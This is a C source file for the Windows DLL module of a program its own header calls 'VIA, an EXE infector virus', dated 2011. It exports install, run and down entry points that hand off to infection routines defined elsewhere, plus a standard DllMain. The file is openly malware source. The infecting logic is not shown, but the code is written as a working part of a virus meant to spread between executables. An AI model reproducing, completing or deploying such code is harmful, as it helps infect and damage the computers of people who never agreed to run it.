/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

#include <Windows.h>
#include "via.h"

HMODULE pDll = NULL;

BOOL WINAPI install()
{
	traceDbg(L"ViaDLL: op started: install");
	
	wchar_t moduleFileName[MAX_PATH] = {0};
	GetModuleFileNameW(pDll, moduleFileName, MAX_PATH);
	bool ret = ViaInstall(moduleFileName);

	traceDbg(L"ViaDLL: op finished: install: ret val: %s", (ret ? L"True" : L"False"));
	return ret;
}

BOOL WINAPI run()
{
	traceDbg(L"ViaDLL: op started: run");
	bool ret = ViaRun(L"");
	traceDbg(L"ViaDLL: op finished: run");
	return ret;
}

BOOL WINAPI down()
{
	traceDbg(L"ViaDLL: op started: down");
	bool ret = ViaDown();
	traceDbg(L"ViaDLL: op finsihed: down");
	return ret;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	wchar_t moduleFileName[MAX_PATH] = {0};
	GetModuleFileNameW(GetModuleHandle(NULL), moduleFileName, MAX_PATH);
	
	traceDbg(L"DllMain called from process: %s. reason: %d", moduleFileName, ul_reason_for_call);
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		pDll = hModule;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

